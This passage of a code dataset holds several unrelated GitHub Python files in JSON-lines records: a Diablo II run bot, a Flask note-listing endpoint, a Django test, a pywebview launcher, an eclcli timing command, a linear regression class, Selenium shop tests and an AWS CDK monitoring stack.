run\n if self.is_last_run() or failed_run:\n if failed_run:\n self._no_stash_counter = 10 # this will force a check if we should stash on next game\n self.trigger_or_stop(\"end_game\", failed=failed_run)\n else:\n self.trigger_or_stop(\"end_run\")\n\n def on_run_pindle(self):\n res = False\n self._do_runs[\"run_pindle\"] = False\n self._game_stats.update_location(\"Pin\" if self._config.general['discord_status_condensed'] else \"Pindle\")\n self._curr_loc = self._pindle.approach(self._curr_loc)\n if self._curr_loc:\n res = self._pindle.battle(not self._pre_buffed)\n self._ending_run_helper(res)\n\n def on_run_shenk(self):\n res = False\n self._do_runs[\"run_shenk\"] = False\n self._curr_loc = self._shenk.approach(self._curr_loc)\n if self._curr_loc:\n res = self._shenk.battle(self._route_config[\"run_shenk\"], not self._pre_buffed, self._game_stats)\n self._ending_run_helper(res)\n\n def on_run_trav(self):\n res = False\n self._do_runs[\"run_trav\"] = False\n self._game_stats.update_location(\"Trav\" if self._config.general['discord_status_condensed'] else \"Travincal\")\n self._curr_loc = self._trav.approach(self._curr_loc)\n if self._curr_loc:\n res = self._trav.battle(not self._pre_buffed)\n self._ending_run_helper(res)\n\n def on_run_nihlatak(self):\n res = False\n self._do_runs[\"run_nihlatak\"] = False\n self._game_stats.update_location(\"Nihl\" if self._config.general['discord_status_condensed'] else \"Nihlatak\")\n self._curr_loc = self._nihlatak.approach(self._curr_loc)\n if self._curr_loc:\n res = self._nihlatak.battle(not self._pre_buffed)\n self._ending_run_helper(res)\n\n def on_run_arcane(self):\n res = False\n self._do_runs[\"run_arcane\"] = False\n self._game_stats.update_location(\"Arc\" if self._config.general['discord_status_condensed'] else \"Arcane\")\n self._curr_loc = self._arcane.approach(self._curr_loc)\n if self._curr_loc:\n res = self._arcane.battle(not self._pre_buffed)\n self._tps_left -= self._arcane.used_tps\n self._ending_run_helper(res)\n \n def on_run_diablo(self):\n res = False\n self._do_runs[\"run_diablo\"] = False\n self._game_stats.update_location(\"Dia\" if self._config.general['discord_status_condensed'] else \"Diablo\")\n self._curr_loc = self._diablo.approach(self._curr_loc)\n if self._curr_loc:\n res = self._diablo.battle(not self._pre_buffed)\n self._tps_left -= 1 # we use one tp at pentagram for calibration\n self._ending_run_helper(res)\n\n def on_run_lowerkurast(self):\n res = False\n self._do_runs[\"run_lowerkurast\"] = False\n self._game_stats.update_location(\"LK\" if self._config.general['discord_status_condensed'] else \"LowerKurast\")\n self._curr_loc = self._lowerkurast.approach(self._curr_loc)\n if self._curr_loc:\n res = self._lowerkurast.battle(not self._pre_buffed)\n self._tps_left -= self._lowerkurast.used_tps\n self._ending_run_helper(res)","repo_name":"jagarop/botty-memread_lk","sub_path":"src/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":21105,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"13043095437","text":"from api.note import note_bp\nfrom flask import abort, jsonify, request\nfrom jwtauth import verify_jwt\nfrom models import Note\n\n\n@note_bp.route(\"/list\", methods=[\"GET\"])\ndef noteList():\n # token校验\n header_auth = request.headers.get(\"Authorization\")\n if header_auth is None:\n abort(401, description=\"Unauthorized.\")\n return\n token = header_auth[7:]\n payload = verify_jwt(token)\n if payload is None:\n abort(401, description=\"Invaild Token.\")\n return\n userID = payload[\"uid\"]\n\n # 数据库操作\n try:\n all_note = Note.query.filter_by(userID=userID).all()\n except Exception as e:\n abort(500, description=f\"Database Operation Error. {e}\")\n return\n\n # 数据处理操作\n try:\n res = []\n for note in all_note:\n res.append({\n \"id\": note.id,\n \"title\": note.title,\n \"content\": note.content,\n \"date\": note.date,\n \"isStared\": note.isStared,\n })\n return jsonify({\"data\": res, \"status\": 0, \"message\": \"OK\"})\n except Exception as e:\n abort(500, description=f\"Process Data Error. {e}\")\n return\n","repo_name":"ChrisKimZHT/Todo-List-Backend","sub_path":"api/note/list.py","file_name":"list.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"6306867375","text":"from django.test import TestCase\n\nfrom .models import BigS, UnicodeSlugField\n\n\nclass SlugFieldTests(TestCase):\n def test_slugfield_max_length(self):\n \"\"\"\n SlugField honors max_length.\n \"\"\"\n bs = BigS.objects.create(s=\"slug\" * 50)\n bs = BigS.objects.get(pk=bs.pk)\n self.assertEqual(bs.s, \"slug\" * 50)\n\n def test_slugfield_unicode_max_length(self):\n \"\"\"\n SlugField with allow_unicode=True honors max_length.\n \"\"\"\n bs = UnicodeSlugField.objects.create(s=\"你好你好\" * 50)\n bs = UnicodeSlugField.objects.get(pk=bs.pk)\n self.assertEqual(bs.s, \"你好你好\" * 50)\n","repo_name":"django/django","sub_path":"tests/model_fields/test_slugfield.py","file_name":"test_slugfield.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":74132,"dataset":"github-code","pt":"37"} +{"seq_id":"2993798818","text":"# -*- coding: utf-8 -*-\n\nimport webview\nimport logging\nfrom pathlib import Path\n\napp_name = 'swallow'\nhome_path = Path.home() / f'.{app_name}'\nhome_path.mkdir(exist_ok=True)\n\nlog_file = home_path / 'out.log'\nlogging.basicConfig(level=logging.DEBUG,\n format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s',\n datefmt='%Y/%m/%d %H:%M:%S',\n filename=log_file.absolute()\n )\n\nfrom src.globals import gbl\n\nbase_dir = Path(__file__).parent\nlogging.info(f'swallow base dir:{base_dir}')\ngbl.base_dir = base_dir\n\nfrom src.api import Api, server\n\napi = Api(base_dir, home_path)\n\n\ndef on_closing():\n try:\n # close hugo preview process\n api.hugos.close_pre()\n logging.info('pywebview window is closing')\n except Exception as e:\n logging.warning(f'on closing fail:{e}')\n\n\nif __name__ == '__main__':\n window = webview.create_window(app_name, server, js_api=api, min_size=(1000, 600), width=1200, height=800,\n confirm_close=True)\n window.events.closed += on_closing\n api.window = window\n webview.start(debug=True)\n","repo_name":"rangwea/swallow-pywebview","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1175,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"32839534335","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n#\n\n\"\"\"Timing Implementation\"\"\"\n\nfrom eclcli.common import command\n\n\nclass Timing(command.Lister):\n \"\"\"Show timing data\"\"\"\n\n def take_action(self, parsed_args):\n column_headers = (\n 'URL',\n 'Seconds',\n )\n\n results = []\n total = 0.0\n for url, td in self.app.timing_data:\n # NOTE(dtroyer): Take the long way here because total_seconds()\n # was added in py27.\n sec = (td.microseconds + (td.seconds + td.days *\n 86400) * 1e6) / 1e6\n total += sec\n results.append((url, sec))\n results.append(('Total', total))\n return (\n column_headers,\n results,\n )\n","repo_name":"nttcom/eclcli","sub_path":"eclcli/common/timing.py","file_name":"timing.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"37"} +{"seq_id":"12544689385","text":"class MyRegression:\n def __init__(self):\n self.intercept_ = 0.0\n self.coef_ = []\n\n def fit(self, X, Y):\n for el in X:\n el.insert(0, 1)\n Y = self.transpose([Y])\n rez1 = self.transpose(X)\n rez2 = self.multiply(rez1, X)\n rez3 = self.inverse(rez2)\n rez4 = self.multiply(rez3, rez1)\n rez5 = self.multiply(rez4, Y)\n self.intercept_ = rez5[0][0]\n for r in rez5[1:]:\n self.coef_.append(r[0])\n\n def predict(self, inputs):\n result = []\n for input in inputs:\n sum = self.intercept_\n for x, coef in zip(input, self.coef_):\n sum += x * coef\n result.append(sum)\n return result\n\n\n def transpose(self, matrix):\n transpose = []\n for j in range(len(matrix[0])): # no columns\n line = []\n for i in range(len(matrix)): # no rows\n line.append(matrix[i][j])\n transpose.append(line)\n return transpose\n\n def minor(self, matrix, i, j):\n result = []\n for x in range(len(matrix)):\n if x != i:\n line = []\n for y in range(len(matrix[0])):\n if y != j:\n line.append(matrix[x][y])\n result.append(line)\n return result\n\n def determinant(self, matrix):\n if len(matrix) == 1:\n return matrix[0][0]\n\n if len(matrix) == 2:\n return matrix[0][0] * matrix[1][1] - matrix[0][1] * matrix[1][0]\n\n det = 0.0\n for j in range(len(matrix)): # dezvoltam dupa prima linie\n det += matrix[0][j] * ((-1) ** j) * self.determinant(self.minor(matrix, 0, j))\n return det\n\n def inverse(self, matrix):\n if len(matrix) != len(matrix[0]):\n raise Exception(\"Different number of rows and columns!\")\n\n detMatrix = self.determinant(matrix)\n if detMatrix == 0:\n raise Exception(\"Matrix is not invertible!\")\n\n result = self.adj(matrix)\n for i in range(len(result)):\n for j in range(len(result)):\n result[i][j] /= detMatrix\n return result\n\n def adj(self, matrix):\n matrix = self.transpose(matrix)\n result = []\n for i in range(len(matrix)):\n line = []\n for j in range(len(matrix)):\n elem = ((-1) ** (i + j)) * self.determinant(self.minor(matrix, i, j))\n line.append(elem)\n result.append(line)\n return result\n\n def multiply(self, a, b):\n if len(a[0]) != len(b):\n raise Exception(\"Can not multiply these matrices!\")\n\n result = []\n for i in range(len(a)):\n result.append([0 for _ in range(len(b[0]))])\n\n for i in range(len(a)):\n for j in range(len(b[0])):\n for k in range(len(b)):\n result[i][j] += a[i][k] * b[k][j]\n return result\n\n","repo_name":"mariaruncan/ubb-second-year","sub_path":"sem4/AI/Lab/ai-lab7/myregression.py","file_name":"myregression.py","file_ext":"py","file_size_in_byte":2995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27221931946","text":"import logging\nimport time\nimport allure\nfrom page.cart_page import CartPage\nfrom page.home_page import HomePage\nfrom page.index_page import IndexPage\nfrom page.order_page import OrderPage\nfrom page.order_pay_page import OrderPayPage\nfrom utils.driver_utils import DriverUtils\n\n\n@allure.feature('订单模块')\nclass TestOrder:\n\n def setup(self):\n self.driver = DriverUtils.get_driver()\n self.index_page = IndexPage(self.driver)\n self.cart_page = CartPage(self.driver)\n self.order_page = OrderPage(self.driver)\n self.order_pay_page = OrderPayPage(self.driver)\n self.home_page = HomePage(self.driver)\n self.driver.get('http://localhost/')\n\n def teardown(self):\n time.sleep(2)\n DriverUtils.quit_driver()\n\n def teardown_class(self):\n DriverUtils.set_driver_select(False)\n DriverUtils.get_driver().get_screenshot_as_file('./screenshot/tpshop.png')\n DriverUtils.quit_driver()\n\n @allure.story('购物车结算,订单提交成功')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_submit_order(self):\n self.index_page.click_my_cart_btn()\n self.cart_page.click_go_to_pay_btn()\n time.sleep(6)\n logging.info('wait 6s for page display')\n self.order_page.click_submit_order_btn()\n assert '订单提交成功,请您尽快付款!' == self.order_pay_page.get_tips_info()\n\n @allure.story('选择货到付款,支付成功')\n @allure.severity(allure.severity_level.CRITICAL)\n def test_pay(self):\n self.index_page.click_my_order_link()\n self.index_page.switch_window()\n logging.info('switch to other window')\n self.home_page.click_to_be_pay_link()\n self.home_page.click_pay_btn()\n self.home_page.switch_window()\n logging.info('switch to other window')\n self.order_pay_page.click_arrived_pay()\n self.order_pay_page.click_pay_btn()\n time.sleep(3)\n logging.info('wait 3s for page display')\n assert '订单提交成功,我们将在第一时间给你发货!' == self.order_pay_page.get_tips_info()\n","repo_name":"YoungWeiHuan/tpshop_auto_test","sub_path":"scripts/test_order.py","file_name":"test_order.py","file_ext":"py","file_size_in_byte":2134,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"3584288694","text":"from aws_cdk import (\n # Duration,\n # aws_sqs as sqs,\n Stack,\n aws_lambda as lambda_,\n RemovalPolicy,\n Duration,\n aws_events as events_,\n aws_events_targets as targets_,\n aws_s3 as s3,\n aws_s3_deployment as s3deploy,\n # aws_sqs as sqs,\n aws_sns_subscriptions as sns_subs_,\n aws_sns as sns_,\n aws_cloudwatch_actions as cw_actions,\n aws_dynamodb as dynamodb,\n aws_iam as iam_,\n aws_cloudwatch as cloudwatch,\n aws_cloudwatch_actions as cw_actions,\n aws_codedeploy as codedeploy,\n aws_apigateway as gateway,\n # aws_apigateway.Cors,\n \n)\nfrom constructs import Construct\nfrom s3_resources import s3_res\nimport os\nimport boto3\n# from gateway import Cors as cors_\n# from gateway import CorsOptions as corO_\n# from corO import OPTIONS\n\nclass Sprint5MubarizStack(Stack):\n\n def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:\n # def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:\n super().__init__(scope, construct_id, **kwargs)\n # policy = \"CloudWatchFullAccess\"\n # role = self.create_lambda_role(policy)\n role = self.lambda_role() # Saving roles for lambda in iam_role\n \n \n dynamo_db = self.create_table(\"mubariz_table\",\"Timestamp\",\"Subject\") \n db_create_lambda = self.create_lambda('dynamo_lambda', './resources', 'dynamo_lambda.db_lambda_handler',role)\n db_create_lambda.apply_removal_policy(RemovalPolicy.DESTROY)\n \n #granting our dynamodblambda full access to our resources. \n dynamo_db.grant_full_access(db_create_lambda)\n\n \n #creating the lambda function for measuring our web health, and passing it the role to access our resources.\n WebHealthLambda = self.create_lambda('webHealthLambda', './resources', 'webHealthLambda.lambda_handler',role)\n WebHealthLambda.apply_removal_policy(RemovalPolicy.DESTROY)\n \n #creating parameters for rule to run, it binds our lambda function with the schedule for periodic invocation.\n #defining the schedule for our lambda function\n lambda_schedule = events_.Schedule.rate(Duration.minutes(1))\n lambda_target = targets_.LambdaFunction(WebHealthLambda) #creating the target for the lambda function.\n \n \n '''\n write parameters for rule function.\n \n '''\n \n rule = events_.Rule(self, \"webHealthInvocation\", \n description=\"Periodic Lambda\", \n schedule = lambda_schedule,\n enabled = True,\n targets = [lambda_target])\n\n \n #defining our s3 bucket.\n \n mak_bucket = s3.Bucket(self, \"mubariz-skipq-bucket-id\",\n # bucket_name = 'mubariz-s3-bucket',\n removal_policy = RemovalPolicy.DESTROY,\n auto_delete_objects = True, \n public_read_access=True)\n \n # SkipQVoyager\n #initializing s3 bucket with file having web urls\n s3deploy.BucketDeployment(self, \"voyager_skipq\", sources = [s3deploy.Source.asset('./s3_resources', exclude = ['**', '!s3_res.py'])],\n destination_bucket = mak_bucket)\n \n \n \n #extracting names of \n bucketName = mak_bucket.bucket_name\n tableName = dynamo_db.table_name\n # Adding Environment Variables\n WebHealthLambda.add_environment('bucketName', bucketName)\n db_create_lambda.add_environment('tableName', tableName)\n \n # creating an sns topic and then adding an email subscription to the sns topic\n \n # alarm is being binded by topic, which triggers email subscription and dblambdahandler \n \n # https://docs.aws.amazon.com/cdk/api/v1/python/aws_cdk.aws_sns.html\n my_topic = sns_.Topic(self, \"makTopic\")\n my_topicARN = my_topic.topic_arn #we will send this topic as envVAr to WHL as action in the alarm\n \n my_topic.add_subscription(\n sns_subs_.EmailSubscription(\"mubariz.khan.skipq@gmail.com\"))\n \n my_topic.add_subscription(\n sns_subs_.LambdaSubscription(db_create_lambda))\n \n \n for iterant in s3_res.URL_TO_MONITOR: \n \n ''' \n The dimensions for the metric.\n\n (dict) --\n\n A dimension is a name/value pair that is part of the identity of a metric.\n You can assign up to 10 dimensions to a metric. Because dimensions are part of the unique identifier for a metric,\n whenever you add a unique name/value pair to one of your metrics, you are creating a new variation of that metric.\n\n Name (string) --\n\n The name of the dimension. Dimension names must contain only ASCII characters \n and must include at least one non-whitespace character.\n\n Value (string) --\n\n The value of the dimension. Dimension values must contain only ASCII characters \n and must include at least one non-whitespace character.\n '''\n \n dimension = {'URL': iterant} \n \n \n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CREATING OUR METRICS %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n\n # creating metrics using cloudwatch.metric to access urls{to monitor}, namespace\n # avail_metric = cloudwatch.Metric(namespace=s3_res.URL_NAMESPACE, \n # metric_name =s3_res.URL_AVAIL_NAMESPACE, \n # dimensions_map = dimension,\n # period=Duration.minutes(1))\n \n \n \n \n \n # lat_metric = cloudwatch.Metric(namespace=s3_res.URL_NAMESPACE,\n # metric_name =s3_res.URL_LAT_NAMESPACE,\n # dimensions_map = dimension,\n # period=Duration.minutes(1))\n \n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CREATING OUR ALARMS %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n \n \n # lat_alarm = cloudwatch.Alarm(self, \n # id='latency_alarm'+'_'+iterant, \n # metric=lat_metric, \n # threshold = s3_res.THRESHOLD_2,\n # evaluation_periods = 1,\n # comparison_operator=cloudwatch.ComparisonOperator.GREATER_THAN_THRESHOLD\n # )\n \n # avail_alarm = cloudwatch.Alarm(self,\n # id='avail_alarm'+'_'+iterant, \n # metric=avail_metric, \n # threshold = s3_res.THRESHOLD_1,\n # evaluation_periods = 1,\n # comparison_operator=cloudwatch.ComparisonOperator.LESS_THAN_THRESHOLD\n # )\n \n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Binding OUR ALARMS w/ Topics %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n \n # https://docs.aws.amazon.com/cdk/api/v1/python/aws_cdk.aws_cloudwatch_actions/SnsAction.html\n # lat_alarm.add_alarm_action(cw_actions.SnsAction(my_topic))\n # avail_alarm.add_alarm_action(cw_actions.SnsAction(my_topic))\n \n \n # https://docs.aws.amazon.com/cdk/api/v1/python/aws_cdk.aws_dynamodb.html\n \n \n # https://docs.aws.amazon.com/cdk/api/v1/python/aws_cdk.aws_sns_subscriptions.html -> \n # {down}\n # https://docs.aws.amazon.com/cdk/api/v1/python/aws_cdk.aws_sns_subscriptions/LambdaSubscription.html\n \n # create table here in stack as it is a resource\n # time_atm will be our primary key\n\n #we'll suscribe the lambda to this topic\n \n #memory and durations k alarms likhnay hain \n \n ''' \n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% creating our failure dimensions %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n \n #Failure dimensions for web health lambda\n \n WHL_failure_dimensions = {'FunctionName' : WebHealthLambda.function_name}\n WHL_failure_invo_dimensions = {'FunctionName' : WebHealthLambda.function_name}\n\n\n #Failure dimensions for dynamo lambda \n dynamo_failureDimensions = {'FunctionName' : db_create_lambda.function_name}\n dynamo_failure_invoDimensions = {'FunctionName' : db_create_lambda.function_name}\n \n \n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% creating metrics of lambda duration & invocation %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% by call metric.invocations & metric.duration which %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% return a metric regarding invocation or duration on %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n #%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% basis of the function call. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n \n \n invo_dynamo_metric = db_create_lambda.metric_invocations(\n dimensions_map = dynamo_failure_invoDimensions,\n period=Duration.minutes(5))\n \n dur_dynamo_metric = db_create_lambda.metric_duration(\n dimensions_map = dynamo_failureDimensions,\n period=Duration.minutes(5))\n \n invo_whl_metric = WebHealthLambda.metric_invocations(\n dimensions_map = WHL_failure_invo_dimensions,\n period=Duration.minutes(5))\n \n dur_whl_metric = WebHealthLambda.metric_duration(\n dimensions_map = WHL_failure_dimensions,\n period=Duration.minutes(5))\n \n \n # Duration & Invocation ALarms for Web Health Metric \n \n failure_alarm = cloudwatch.Alarm(self, \n id='WHLfirst_failure_alarm_duration', \n metric=dur_whl_metric, \n evaluation_periods = 1,\n threshold = 10000,#Duration.millis(2000),\n #If latency's spikes to a certain value, note that value and apply an alarm on based of that value\n comparison_operator = cloudwatch.ComparisonOperator.GREATER_THAN_THRESHOLD #\n )\n \n \n failure_invo_alarm =cloudwatch.Alarm(self, \n id='WHLfirst_failure_alarm_invo', \n metric=invo_whl_metric, \n evaluation_periods = 1,\n threshold = 1100,#Duration.millis(2000),\n #If latency's spikes to a certain value, note that value and apply an alarm on based of that value\n comparison_operator = cloudwatch.ComparisonOperator.LESS_THAN_THRESHOLD \n \n )\n \n \n #Duration & Invocation Alarms for Dyanmo Lambda \n \n \n Dynamofailure_invo_alarm = cloudwatch.Alarm(self, \n id='Dynamo_failure_alarm_invo', \n metric=invo_dynamo_metric, \n evaluation_periods = 1,\n threshold = 1000,#Duration.millis(2000),\n comparison_operator = cloudwatch.ComparisonOperator.LESS_THAN_THRESHOLD #If latency's spikes to a certain value, note that value and apply an alarm on based of that value\n \n )\n # Dynamofailure_invo_alarm \n Dynamofailure_duration_alarm = cloudwatch.Alarm(self, \n id='Dynamo_failure_alarm_dur', \n metric=dur_dynamo_metric, \n evaluation_periods = 1,\n threshold = 10000,#Duration.millis(2000),\n comparison_operator = cloudwatch.ComparisonOperator.GREATER_THAN_THRESHOLD #If latency's spikes to a certain value, note that value and apply an alarm on based of that value\n \n )\n \n \n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% creating Alias for Rollback %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n \n \n # alias (Alias) – Lambda Alias to shift traffic. \n #Updating the version of the alias will trigger a CodeDeploy deployment.\n # [disable-awslint:ref-via-interface] since we need to modify the alias CFN resource update policy\n \n \n whl_alias = lambda_.Alias(self, \"makLambdaAlias1\",\n alias_name=\"makcurrent_whl1\",\n version= WebHealthLambda.current_version #Returns a lambda.Version which represents the current version of this Lambda function. A new version will be created every time the function’s configuration changes.\n )\n \n dynamo_alias = lambda_.Alias(self, \"makDynamoLambdaAlias1\",\n alias_name=\"makcurrent_dynamo1\",\n version= db_create_lambda.current_version #Returns a lambda.Version which represents the current version of this Lambda function. A new version will be created every time the function’s configuration changes.\n )\n \n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Deployment Group %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n \n \n codedeploy.LambdaDeploymentGroup(self, \"whl_mak_id1\",\n alias=whl_alias,\n 